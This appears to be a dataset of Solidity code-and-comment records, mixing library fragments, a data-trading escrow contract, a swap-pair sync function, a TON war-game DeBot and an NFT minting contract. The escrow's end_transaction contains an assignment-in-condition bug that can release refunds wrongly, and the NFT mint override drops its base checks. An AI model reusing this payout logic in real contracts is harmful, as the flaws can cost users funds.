O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } }
withdraws tokens from the contract. Only owner can withdraw. _amount — amount of tokens to withdraw/
function withdrawTokens(uint256 _amount) external onlyOwner { token.safeTransfer(msg.sender, _amount); emit TokensWithdrawn(_amount); }
6,088,450
// @Author: Yuexin Xiang // @Email: [email protected] //Remix Compiler 0.4.24+conmmit.e67f0147 pragma solidity >=0.4.22 <0.7.0; contract Scheme { /************************DEFINE************************/ uint256 Value_Amount;//The amount of the transaction uint256 Value_Deposit;//The deposi of the transaction uint256 Time_First;//Record the time Bob finished the first step(Bob pays) uint256 Time_Second;//Record the time Alice finished the second step(Alice sends encrypted key) uint256 Time_Third;//Record the time Bob finished the third step(Bob reports) uint256 Time_Rep = 300 seconds;//The time Bob can send report after transaction is finished uint256 Time_Trans = 300 seconds;//The time limit of each step string PubKey_Buyer;//Bob's public key string EncryptedKey_Seller;//Alice's key encrypted(EK) by Bob's PK string EvidenceKey;//Bob sends the key he recieved as evidence to the smart contract string ReasonType;//Bob chooses the reason for reporting Alice string Hash_Data;//Alice's selling data(verify by web) string Hash_Key;//Alice's key's hash value(verify by web) address public AddressPay;//Alice can recieve the money by the address address public AddressBuyer;//The address of Bob address public AddressVerify;//The address of the person who helps veriifying string public DataAddress = "www.cugdatatrade.com";//The adress of the big data string public CalHash = "https://emn178.github.io/online-tools/sha256_checksum.html";//The web for calculating sha256 bool Goal_Amount = false;//Judge if Alice sets the amount bool Goal_HashData = false;//Judge if Alice uploads Hash value of the data bool Goal_HashKey = false;//Judge if Alice uploads Hash value of the key bool Goal_Deposit = false;//Judge if Alice sends the deposit bool Goal_Money = false;//Judge if Bob sends the money bool Goal_PubKeyB = false;//Judge if Bob sends his public key bool Goal_EnK = false;//Judge if Alice sends the encrypted key bool Goal_GotRep = false;//Jugde if Bob sends the report bool Goal_Verify = false;//Judge if the report sent by Bob is true bool Goal_Success = false;//Judge if the transaction is successful bool Goal_First = false;//Judge if the time of first step is run out bool Goal_Second = false;//Judge if the time of second step is run out bool Goal_Third = false;//Judge if the time of third step is run out event SetAmountAndDeposit(uint); event UploadHashData(string); event UploadHashKey(string); event GotMoney(uint,address); event GotDeposit(uint,address); event UploadPubKeyB(string); event UploadEncrypedKey(string); event GotReport(string,string); event VerifyResult(bool); event TransResult(bool); /************************INIT************************/ //The constructor of the smart contract constructor () public payable { AddressPay = msg.sender; } //Show the time now function CurrTimeInSeconds() public view returns (uint256) { return now; } /************************VIEW************************/ //View the amount of the transaction function get_amount () public view returns (uint256) { return Value_Amount; } //View the deposit of the transaction function get_deposit () public view returns (uint256) { return Value_Deposit; } //View the Bob's public key of the transaction function get_pubkeyB() view public returns(string) { return PubKey_Buyer; } //View the encrypted key of Alice function get_enkey () view public returns(string) { return EncryptedKey_Seller; } //View the hash value of the key of Alice function get_hash_key () view public returns(string) { return Hash_Key; } //View the hash value of the encrypted data function get_hash_data () view public returns(string) { return Hash_Data; } /* //View the status of goal of amount function goal_amount () view public returns(bool) { return Goal_Amount; } //View the status of goal of deposit function goal_deposit () view public returns(bool) { return Goal_Deposit; } //View the status of goal of hash function goal_hash () view public returns(bool) { return Goal_Hash; } //View the status of goal of money function goal_money () view public returns(bool) { return Goal_Money; } //View the status of goal of public key of Bob function goal_pubkeyB () view public returns(bool) { return Goal_PubKeyB; } //View the status of goal of encrypted key function goal_enkey () view public returns(bool) { return Goal_EnK; } //View the status of goal of transaction function goal_success () view public returns(bool) { return Goal_Success; } //View the status of goal of verfication function goal_verify () view public returns(bool) { return Goal_Verify; } //View the status of first step function goal_first () view public returns(bool) { return Goal_First; } //View the status of second step function goal_second () view public returns(bool) { return Goal_Second; } //View the status of third step function goal_third () view public returns(bool) { return Goal_Third; } */ //View the time Bob finished the first step function view_first () public view returns (uint256){ return Time_First; } //View the time Alice finished the second step function view_second () public view returns (uint256){ return Time_Second; } //View the time Alice finished the third step function view_third () public view returns (uint256){ return Time_Third; } //View the evidence and reason function show_evidence_reason () view public returns(string, string) { return (EvidenceKey, ReasonType); } //Show the type of the reason function show_reason () pure public returns(string) { return "Type-1: Wrong key || Type-2: Messy watermark || Type-3: Two or more watermarks"; } //Inquire the amount of a specific account function get_balance (address AccountOrContract) constant public returns(uint) { return AccountOrContract.balance; } /************************PROCESS************************/ //Alice sets the amount and deposit of the trasnsaction function set_amount (uint256 Amount) public { if (msg.sender == AddressPay) { Value_Amount = Amount; Value_Deposit = 2 * Value_Amount; Goal_Amount = true; emit SetAmountAndDeposit(Value_Amount); } else { Goal_Amount = false; revert("Wrong input."); } } //Alice uploads the hash value of the data function upload_hash_data (string HashData) public { if (Goal_Amount == true) { if (msg.sender == AddressPay) { Hash_Data = HashData; Goal_HashData = true; emit UploadHashData(Hash_Data); } else { Goal_HashData = false; revert("Only the seller can upload hash value of the data."); } } else { Goal_HashData = false; revert("Please set the amount first."); } } //Alice uploads the hash value of the key function upload_hash_key (string HashKey) public { if (Goal_HashData == true) { if (msg.sender == AddressPay) { Hash_Key = HashKey; Goal_HashKey = true; emit UploadHashKey(Hash_Key); } else { Goal_HashKey = false; revert("Only the seller can upload hash value of the key."); } } else { Goal_HashKey = false; revert("Please upload hash value of the data first."); } } //Alice sends the deposit to the smart contract function send_deposit () public payable returns(bool) { if (Goal_HashKey == true) { if (msg.sender == AddressPay) { if (msg.value == Value_Deposit) { Goal_Deposit = true; Time_First = now; emit GotDeposit(Value_Deposit, this); return address(this).send(msg.value); } else { Goal_Deposit = false; revert("The value of the desposit is wrong."); } } else { Goal_Deposit = false; revert("Only the seller can send the desposit."); } } else { Goal_Deposit = false; revert("Please upload the hash value of the key first."); } } //Bob sends the money to the smart contract function send_money () public payable returns(bool) { AddressBuyer = msg.sender; if (Goal_Deposit == true) { if (AddressBuyer != AddressPay) { if (now <= Time_First + Time_Trans) { Goal_Money = true; Goal_First = true; emit GotMoney(Value_Amount, this); return address(this).send(msg.value); } else { Goal_First = false; revert("Time is run out (first step)."); } } else { Goal_Money = false; revert("Seller can not send the money."); } } else { Goal_Money = false; revert("Seller should send deposit first."); } } //Bob Uploads the public key function upload_pubkey_buyer (string PubKey) public { if (Goal_Money == true) { if (AddressBuyer != AddressPay) { PubKey_Buyer = PubKey; Goal_PubKeyB = true; Time_Second = now; emit UploadPubKeyB(PubKey_Buyer); } else { Goal_PubKeyB = false; revert("Seller can not send the money."); } } else { Goal_PubKeyB = false; revert("Buyer should send money first."); } } //Alice uploads the encrypted key function upload_encryptedkey (string EnKey) public { if (Goal_Money == true) { if (Goal_PubKeyB == true) { if (msg.sender == AddressPay) { if (now <= Time_Second + Time_Trans) { EncryptedKey_Seller = EnKey; Goal_EnK = true; Goal_Second = true; Time_Third = now; emit UploadEncrypedKey(EncryptedKey_Seller); } else { Goal_Second = false; revert("Time is run out (second step)."); } } else { Goal_EnK = false; revert("Only seller can send encrypted key."); } } else { Goal_EnK = false; revert("Please ask buyer to send public key first."); } } else { Goal_EnK = false; revert("Please ask buyer to send money first."); } } //Bob sends the report to the smart contract and the key is evidence function report_send (string Evidence, string Reason) public { if (Goal_EnK == true) { if (msg.sender == AddressBuyer) { if (now <= Time_Third + Time_Rep) { EvidenceKey = Evidence; ReasonType = Reason; Goal_GotRep = true; Goal_Third = true; emit GotReport(EvidenceKey, ReasonType); } else { Goal_Third = false; revert("Time is run out (third step)."); } } else { Goal_GotRep = false; revert("Only the buyer can send the report."); } } else { Goal_GotRep = false; revert("Plaese ask seller to send encrypted key first."); } } //Others vertify the report sent by Bob function report_verify (bool Verify) public { if (Goal_GotRep == true) { if (msg.sender != AddressPay && msg.sender != AddressBuyer) { AddressVerify = msg.sender; Goal_Verify = Verify; emit VerifyResult(Goal_Verify); } else { Goal_Verify = false; revert("Only the third part can vertify the report."); } } else { Goal_Verify = false; revert("Smart contract did not get the report."); } } /************************RESULT************************/ //Different results of the transaction function end_transaction () public { //The transaction is successful if (msg.sender == AddressBuyer && Goal_Amount == true && Goal_HashData == true && Goal_HashKey == true && Goal_Money == true && Goal_PubKeyB == true && Goal_EnK == true && Goal_Verify == false) { Goal_Success = true; emit TransResult(Goal_Success); AddressPay.transfer(Value_Amount); AddressPay.transfer(Value_Deposit); } //Only the seller pays but the time is run out else if (msg.sender == AddressPay && Goal_Deposit == true && Goal_First == false) { Goal_Success = false; emit TransResult(Goal_Success); AddressPay.transfer(Value_Deposit); } //Both pay but time is run out else if (Goal_Money = true && Goal_Second == false) { Goal_Success = false; emit TransResult(Goal_Success); AddressPay.transfer(Value_Deposit); AddressBuyer.transfer(Value_Amount); } //If Bob does not send report and report time is run out Alice can end else if (Goal_EnK == true && Goal_GotRep == false && (now > Time_Third + Time_Rep)) { Goal_Success = true; emit TransResult(Goal_Success); AddressPay.transfer(Value_Amount); AddressPay.transfer(Value_Deposit); } //Bob's report is right else if (msg.sender == AddressVerify && Goal_GotRep == true && Goal_Verify == true) { Goal_Success = false; emit TransResult(Goal_Success); AddressBuyer.transfer(Value_Deposit); AddressBuyer.transfer(Value_Amount); } //Bob's report is wrong else if (msg.sender == AddressVerify && Goal_GotRep == true && Goal_Verify == false) { Goal_Success = false; emit TransResult(Goal_Success); AddressPay.transfer(Value_Deposit); AddressPay.transfer(Value_Amount); } else revert("Wait..."); } }
Alice sets the amount and deposit of the trasnsaction
function set_amount (uint256 Amount) public { if (msg.sender == AddressPay) { Value_Amount = Amount; Value_Deposit = 2 * Value_Amount; Goal_Amount = true; emit SetAmountAndDeposit(Value_Amount); } else { Goal_Amount = false; revert("Wrong input."); } }
12,769,030
./full_match/42161/0x947D83b35Cd2e71df4aC7B359C6761B07d0bce19/sources/code/contracts/oasis/OasisSwapPair.sol
force reserves to match balances
function sync() external lock { _update(IERC20Uniswap(token0).balanceOf(address(this)).sub(feeCache0), IERC20Uniswap(token1).balanceOf(address(this)).sub(feeCache1), reserve0, reserve1); }
16,298,695
pragma ton-solidity >=0.35.0; pragma AbiHeader expire; pragma AbiHeader time; pragma AbiHeader pubkey; import "../debotBase/Debot.sol"; import "../debotBase/Terminal.sol"; import "../debotBase/Menu.sol"; import "../debotBase/AddressInput.sol"; import "../debotBase/ConfirmInput.sol"; import "../debotBase/Upgradable.sol"; import "../debotBase/Sdk.sol"; import "WarGameStructs.sol"; import "IWarGame_interfaces.sol"; import "IWGBot_interfaces.sol"; import "Itransactable.sol"; contract WGBot_initial is Debot, Upgradable { bytes m_icon; uint32 returnFuncID; uint32 callerFuncID; bool showPL = false; address StorageAddr; address WGBot_deployerAddr; address WGBot_UnitsAddr; uint256 playerPubkey; DeployType deployType; Status deployStatus; GameStat gameStat; mapping(uint => int32) playersAliveList; mapping (int32 => address) playersIDList; address Base_Addr; address Scout_Addr; address Produce_Addr; int32 mainUnitID; function setAddreses(address storageAddress, address wgBot_deployerAddr, address wgBot_UnitsAddr) public { require(msg.pubkey() == tvm.pubkey(), 101); tvm.accept(); StorageAddr = storageAddress; WGBot_deployerAddr = wgBot_deployerAddr; WGBot_UnitsAddr = wgBot_UnitsAddr; } function start() public override { Terminal.print(0, "Welcome to EverWar! Prepare to battle!"); Terminal.input(tvm.functionId(savePublicKey),"Please enter your public key",false); } function savePublicKey(string value) public { (uint res, bool status) = stoi("0x"+value); if (status) { playerPubkey = res; showPL = false; returnFuncID = tvm.functionId(goMainMenu); requestGetPlayersList(tvm.functionId(setPlayersList)); } else { Terminal.input(tvm.functionId(savePublicKey),"Wrong public key. Try again!\nPlease enter your public key",false); } } ////////////////////////////////////////////////////// // Join PlayersList and Stat later to make 1 request// ////////////////////////////////////////////////////// function requestGetPlayersList(uint32 answerId) internal view { optional(uint256) none; IWarGameStorage(StorageAddr).getPlayersAliveList{ abiVer: 2, extMsg: true, sign: false, pubkey: none, time: uint64(now), expire: 0, callbackId: answerId, onErrorId: 0 }(); } function setPlayersList(mapping(uint => int32) playersList, mapping (int32 => address) _playersIDList) public { playersAliveList = playersList; playersIDList = _playersIDList; requestGetStat(tvm.functionId(setStat)); } function requestGetStat(uint32 answerId) internal view { optional(uint256) none; IWarGameStorage(StorageAddr).getStat{ abiVer: 2, extMsg: true, sign: false, pubkey: none, time: uint64(now), expire: 0, callbackId: answerId, onErrorId: 0 }(); } function setStat(GameStat Statistics) public { gameStat = Statistics; if (showPL) { showPlayersList_m(); } else { commutator(); } } function showPlayersList_m() internal { //Better to show NAME OF KINGDOM instead ID for ((, int32 itemID) : playersAliveList) { Terminal.print(0, format("| {} | at address {}", itemID, playersIDList[itemID])); } showPL = false; commutator(); } function commutator() internal virtual { if (returnFuncID == tvm.functionId(goMainMenu)) { returnFuncID = 0; goMainMenu(); } else { returnFuncID = 0; goMainMenu(); } } function goMainMenu() public { string sep = '----------------------------------------'; if (!playersAliveList.exists(playerPubkey)) { Terminal.print(0, "To start game you need to [Create KINGDOM!]"); Menu.select( format( "Kingdoms alive: {}", gameStat.basesAlive), sep, [ MenuItem("Create KINGDOM!","",tvm.functionId(req_produceBase)), MenuItem("Description","",tvm.functionId(showDescription)) ]); } else { Base_Addr = playersIDList[playersAliveList[playerPubkey]]; Menu.select( format( "Kingdoms alive: {}", gameStat.basesAlive), sep, [ MenuItem("My kingdom","",tvm.functionId(updateUnitsInfo)), MenuItem("Show players list","",tvm.functionId(showPlayersList_1)), MenuItem("Description","",tvm.functionId(showDescription)) ]); } } function showDescription() public { Terminal.print(0, "Aim of game - to kill other units and kingdoms. If any contract destroyed - it's tokens sends to killer.\nKingdom - is your home base. If destroyed - all your units will also die."); Terminal.print(0, "You can produce kingdom, warriors and scout.\nWarrior - attacking unit. Scout - brings you info about units in other kingdoms."); Terminal.print(0, "Create your kingdom to start the game.\nIn main menu you can see list of other players' kingdoms."); Terminal.print(0, "Info about your units, attack function and scout function in kingdom menu.\nBefore attack you need to scout enemy kingdom."); Terminal.print(0, "Create units in produce menu."); Terminal.print(0, "--- Enjoy! ---"); goMainMenu(); } function showPlayersList_1() public { returnFuncID = tvm.functionId(goMainMenu); showPL = true; requestGetPlayersList(tvm.functionId(setPlayersList)); } function req_produceBase() public { uint _playerPubkey = playerPubkey; deployType = DeployType.Base; DeployType _deployType = deployType; address _Base_Addr = Base_Addr; address _Storage_Addr = StorageAddr; //mainUnitID++; int32 _mainUnitID = mainUnitID; IWGBot_deployer(WGBot_deployerAddr).invokeDeployer_start(_playerPubkey, _deployType, _Base_Addr, _Storage_Addr, _mainUnitID); } function deployResult(Status _status, DeployType _deployType, address _Produce_Addr) virtual external { deployStatus = _status; deployType = _deployType; Produce_Addr = _Produce_Addr; // Handle errors /////////////////////////////////////////////////////// if (deployStatus == Status.Success) { if (deployType == DeployType.Base) { Base_Addr = Produce_Addr; saveToStorage(); } else if (deployType == DeployType.Scout) { Scout_Addr = Produce_Addr; checkAccStatus(Produce_Addr); } else { checkAccStatus(Produce_Addr); } } else { Terminal.print(0, format("Something wrong, so sorry\n Status {} \n Deploy type {} \n Contract address {} \n{}", uint8(deployStatus), uint8(deployType), _Produce_Addr, uint8(Status.Success))); showPL = false; returnFuncID = tvm.functionId(goMainMenu); requestGetPlayersList(tvm.functionId(setPlayersList)); } } function saveToStorage() internal { optional(uint256) pubkey = 0; uint _playerPubkey = playerPubkey; address _produceAddr = Base_Addr; IWarGameStorage(StorageAddr).addToPlayersAliveList{ abiVer: 2, extMsg: true, sign: true, pubkey: pubkey, time: uint64(now), expire: 0, callbackId: tvm.functionId(onSuccessFunc), onErrorId: tvm.functionId(onError) }(_playerPubkey, _produceAddr); } function onSuccessFunc() public { checkAccStatus(Base_Addr); } function onError(uint32 sdkError, uint32 exitCode) public { Terminal.print(0, format("Operation failed. sdkError {}, exitCode {}", sdkError, exitCode)); goMainMenu(); } // // Child necessary functions // function updateUnitsInfo() public virtual{ goMainMenu(); } function goKingdomMenu() public virtual{ goMainMenu(); } function checkAccStatus(address _Produce_Addr) internal virtual { showPL = false; returnFuncID = tvm.functionId(goMainMenu); requestGetPlayersList(tvm.functionId(setPlayersList)); } // // Debot engine functions // function onCodeUpgrade() internal override { tvm.resetStorage(); } function getRequiredInterfaces() public view override returns (uint256[] interfaces) { return [ Terminal.ID, Menu.ID, AddressInput.ID, ConfirmInput.ID ]; } function getDebotInfo() public functionID(0xDEB) virtual override view returns( string name, string version, string publisher, string key, string author, address support, string hello, string language, string dabi, bytes icon ) { name = "EverWar Game Main DeBot"; version = "0.1.0"; publisher = "d0ubleit"; key = "EverWar Game DeBot"; author = "d0ubleit"; support = address.makeAddrStd(0, 0x81b6312da6eaed183f9976622b5a39a90d5cff47e4d2a541bd97ee216e8300b1); hello = "Welcome to strategy blockchain game!"; language = "en"; dabi = m_debotAbi.get(); icon = m_icon; } }
Better to show NAME OF KINGDOM instead ID
function showPlayersList_m() internal { for ((, int32 itemID) : playersAliveList) { } showPL = false; commutator(); }
1,022,764
//SPDX-License-Identifier: Unlicense pragma solidity 0.8.6; import "./core/NPass.sol"; /** * @title NPrimitivesMinerals * @author NPrimitives (twitter.com/nprimitives) <[email protected]> */ contract NPrimitivesMinerals is NPass { using Strings for uint256; string public baseURI; constructor( string memory name, string memory symbol, bool onlyNHolders, uint256 maxTotalSupply, uint16 reservedAllowance, uint256 priceForNHoldersInWei, uint256 priceForOpenMintInWei, string memory linkedBaseURI ) NPass(name, symbol, onlyNHolders, maxTotalSupply, reservedAllowance, priceForNHoldersInWei, priceForOpenMintInWei) { baseURI = linkedBaseURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory __baseURI = _baseURI(); return bytes(__baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : ""; } function _baseURI() override internal view virtual returns (string memory) { return baseURI; } function mint(uint256 tokenId) override public payable virtual nonReentrant { require(tokenId > 0 && tokenId <= maxTotalSupply, "NPass:INVALID_ID"); require(msg.value == priceForOpenMintInWei, "NPass:INVALID_PRICE"); _safeMint(msg.sender, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "./NPassCore.sol"; import "../interfaces/IN.sol"; /** * @title NPass contract * @author Tony Snark * @notice This contract provides basic functionalities to allow minting using the NPass * @dev This is hardcoded to the correct address of the n smart contract on the Ethereum mainnet * This SHOULD be used for mainnet deployments */ abstract contract NPass is NPassCore { /** * @notice Construct an NPass instance * @param name Name of the token * @param symbol Symbol of the token * @param onlyNHolders True if only n tokens holders can mint this token * @param maxTotalSupply Maximum number of tokens that can ever be minted * @param reservedAllowance Number of tokens reserved for n token holders * @param priceForNHoldersInWei Price n token holders need to pay to mint * @param priceForOpenMintInWei Price open minter need to pay to mint */ constructor( string memory name, string memory symbol, bool onlyNHolders, uint256 maxTotalSupply, uint16 reservedAllowance, uint256 priceForNHoldersInWei, uint256 priceForOpenMintInWei ) NPassCore( name, symbol, IN(0x05a46f1E545526FB803FF974C790aCeA34D1f2D6), onlyNHolders, maxTotalSupply, reservedAllowance, priceForNHoldersInWei, priceForOpenMintInWei ) {} } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "../interfaces/IN.sol"; /** * @title NPassCore contract * @author Tony Snark * @notice This contract provides basic functionalities to allow minting using the NPass * @dev This contract should be used only for testing or testnet deployments */ abstract contract NPassCore is ERC721Enumerable, ReentrancyGuard, Ownable { uint256 public constant MAX_MULTI_MINT_AMOUNT = 32; uint256 public constant MAX_N_TOKEN_ID = 8888; IN public immutable n; bool public immutable onlyNHolders; uint16 public immutable reservedAllowance; uint16 public reserveMinted; uint256 public immutable maxTotalSupply; uint256 public immutable priceForNHoldersInWei; uint256 public immutable priceForOpenMintInWei; /** * @notice Construct an NPassCore instance * @param name Name of the token * @param symbol Symbol of the token * @param n_ Address of your n instance (only for testing) * @param onlyNHolders_ True if only n tokens holders can mint this token * @param maxTotalSupply_ Maximum number of tokens that can ever be minted * @param reservedAllowance_ Number of tokens reserved for n token holders * @param priceForNHoldersInWei_ Price n token holders need to pay to mint * @param priceForOpenMintInWei_ Price open minter need to pay to mint */ constructor( string memory name, string memory symbol, IN n_, bool onlyNHolders_, uint256 maxTotalSupply_, uint16 reservedAllowance_, uint256 priceForNHoldersInWei_, uint256 priceForOpenMintInWei_ ) ERC721(name, symbol) { require(maxTotalSupply_ > 0, "NPass:INVALID_SUPPLY"); require(!onlyNHolders_ || (onlyNHolders_ && maxTotalSupply_ <= MAX_N_TOKEN_ID), "NPass:INVALID_SUPPLY"); require(maxTotalSupply_ >= reservedAllowance_, "NPass:INVALID_ALLOWANCE"); // If restricted to n token holders we limit max total supply n = n_; onlyNHolders = onlyNHolders_; maxTotalSupply = maxTotalSupply_; reservedAllowance = reservedAllowance_; priceForNHoldersInWei = priceForNHoldersInWei_; priceForOpenMintInWei = priceForOpenMintInWei_; } /** * @notice Allow a n token holder to bulk mint tokens with id of their n tokens' id * @param tokenIds Ids to be minted */ function multiMintWithN(uint256[] calldata tokenIds) public payable virtual nonReentrant { uint256 maxTokensToMint = tokenIds.length; require(maxTokensToMint <= MAX_MULTI_MINT_AMOUNT, "NPass:TOO_LARGE"); require( // If no reserved allowance we respect total supply contraint (reservedAllowance == 0 && totalSupply() + maxTokensToMint <= maxTotalSupply) || reserveMinted + maxTokensToMint <= reservedAllowance, "NPass:MAX_ALLOCATION_REACHED" ); require(msg.value == priceForNHoldersInWei * maxTokensToMint, "NPass:INVALID_PRICE"); // To avoid wasting gas we want to check all preconditions beforehand for (uint256 i = 0; i < maxTokensToMint; i++) { require(n.ownerOf(tokenIds[i]) == msg.sender, "NPass:INVALID_OWNER"); } // If reserved allowance is active we track mints count if (reservedAllowance > 0) { reserveMinted += uint16(maxTokensToMint); } for (uint256 i = 0; i < maxTokensToMint; i++) { _safeMint(msg.sender, tokenIds[i]); } } /** * @notice Allow a n token holder to mint a token with one of their n token's id * @param tokenId Id to be minted */ function mintWithN(uint256 tokenId) public payable virtual nonReentrant { require( // If no reserved allowance we respect total supply contraint (reservedAllowance == 0 && totalSupply() < maxTotalSupply) || reserveMinted < reservedAllowance, "NPass:MAX_ALLOCATION_REACHED" ); require(n.ownerOf(tokenId) == msg.sender, "NPass:INVALID_OWNER"); require(msg.value == priceForNHoldersInWei, "NPass:INVALID_PRICE"); // If reserved allowance is active we track mints count if (reservedAllowance > 0) { reserveMinted++; } _safeMint(msg.sender, tokenId); } /** * @notice Allow anyone to mint a token with the supply id if this pass is unrestricted. * n token holders can use this function without using the n token holders allowance, * this is useful when the allowance is fully utilized. * @param tokenId Id to be minted */ function mint(uint256 tokenId) public payable virtual nonReentrant { require(!onlyNHolders, "NPass:OPEN_MINTING_DISABLED"); require(openMintsAvailable() > 0, "NPass:MAX_ALLOCATION_REACHED"); require( (tokenId > MAX_N_TOKEN_ID && tokenId <= maxTokenId()) || n.ownerOf(tokenId) == msg.sender, "NPass:INVALID_ID" ); require(msg.value == priceForOpenMintInWei, "NPass:INVALID_PRICE"); _safeMint(msg.sender, tokenId); } /** * @notice Calculate the maximum token id that can ever be minted * @return Maximum token id */ function maxTokenId() public view returns (uint256) { uint256 maxOpenMints = maxTotalSupply - reservedAllowance; return MAX_N_TOKEN_ID + maxOpenMints; } /** * @notice Calculate the currently available number of reserved tokens for n token holders * @return Reserved mint available */ function nHoldersMintsAvailable() external view returns (uint256) { return reservedAllowance - reserveMinted; } /** * @notice Calculate the currently available number of open mints * @return Open mint available */ function openMintsAvailable() public view returns (uint256) { uint256 maxOpenMints = maxTotalSupply - reservedAllowance; uint256 currentOpenMints = totalSupply() - reserveMinted; return maxOpenMints - currentOpenMints; } /** * @notice Allows owner to withdraw amount */ function withdrawAll() external onlyOwner { payable(owner()).transfer(address(this).balance); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; interface IN is IERC721Enumerable, IERC721Metadata { function getFirst(uint256 tokenId) external view returns (uint256); function getSecond(uint256 tokenId) external view returns (uint256); function getThird(uint256 tokenId) external view returns (uint256); function getFourth(uint256 tokenId) external view returns (uint256); function getFifth(uint256 tokenId) external view returns (uint256); function getSixth(uint256 tokenId) external view returns (uint256); function getSeventh(uint256 tokenId) external view returns (uint256); function getEight(uint256 tokenId) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy 